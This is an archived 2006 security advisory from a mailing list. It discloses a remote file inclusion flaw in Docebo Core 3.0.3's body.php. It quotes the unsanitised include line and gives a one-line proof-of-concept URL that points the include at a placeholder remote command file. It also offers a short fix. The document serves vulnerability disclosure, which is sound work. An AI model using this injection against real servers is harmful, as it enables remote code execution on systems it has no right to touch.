OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Docebo Core 3.0.3, Remote command execution

From: Federico Fazzi (federicoautistici.org)
Date: Thu Jun 08 2006 - 23:52:47 CDT


-----------------------------------------------------
Advisory id: FSA:008

Author: Federico Fazzi
Date: 09/06/2006, 6:44
Sinthesis: Docebo Core 3.0.3, Remote command execution
Type: high
Product: http://www.docebolms.org/
Patch: unavailable
-----------------------------------------------------

1) Description:

Error occured in body.php,

include_once($GLOBALS['where_framework']."/lib/lib.upload.php");

The users can include a remote file because
the $GLOBALS['where_framework'] isn't sanitized

2) Proof of concept:

http://example/[dc_path]/addons/mod_media/body.php?GLOBALS[where_framework]=[cmd_url]

3) Solution:

include file where are declare $GLOBALS[*]